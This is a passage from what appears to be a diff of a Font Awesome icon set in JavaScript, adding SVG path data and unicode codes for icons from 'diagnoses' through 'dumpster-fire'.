23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z" ], + diagnoses: [ 640, 512, [], "f470", "M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + dice: [ 640, 512, [], "f522", "M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + "dice-d20": [ 480, 512, [], "f6cf", "M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z" ], + "dice-d6": [ 448, 512, [], "f6d1", "M422.19 109.95L256.21 9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z" ], + "dice-five": [ 448, 512, [], "f523", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-four": [ 448, 512, [], "f524", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-one": [ 448, 512, [], "f525", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-six": [ 448, 512, [], "f526", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-three": [ 448, 512, [], "f527", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-two": [ 448, 512, [], "f528", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "digital-tachograph": [ 640, 512, [], "f566", "M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z" ], + directions: [ 512, 512, [], "f5eb", "M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z" ], + disease: [ 512, 512, [], "f7fa", "M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z" ], + divide: [ 448, 512, [], "f529", "M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + dizzy: [ 496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z" ], + dna: [ 448, 512, [], "f471", "M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z" ], + dog: [ 576, 512, [], "f6d3", "M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z" ], + "dollar-sign": [ 288, 512, [], "f155", "M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z" ], + dolly: [ 576, 512, [], "f472", "M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" ], + "dolly-flatbed": [ 640, 512, [], "f474", "M208 320h384c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + donate: [ 512, 512, [], "f4b9", "M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z" ], + "door-closed": [ 640, 512, [], "f52a", "M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z" ], + "door-open": [ 640, 512, [], "f52b", "M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z" ], + "dot-circle": [ 512, 512, [], "f192", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z" ], + dove: [ 512, 512, [], "f4ba", "M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + download: [ 512, 512, [], "f019", "M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z" ], + "drafting-compass": [ 512, 512, [], "f568", "M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z" ], + dragon: [ 640, 512, [], "f6d5", "M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z" ], + "draw-polygon": [ 448, 512, [], "f5ee", "M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z" ], + drum: [ 512, 512, [], "f569", "M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z" ], + "drum-steelpan": [ 576, 512, [], "f56a", "M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z" ], + "drumstick-bite": [ 512, 512, [], "f6d7", "M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z" ], + dumbbell: [ 640, 512, [], "f44b", "M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z" ], + dumpster: [ 576, 512, [], "f793", "M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + "dumpster-fire": [ 640, 512, [], "f794", "M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 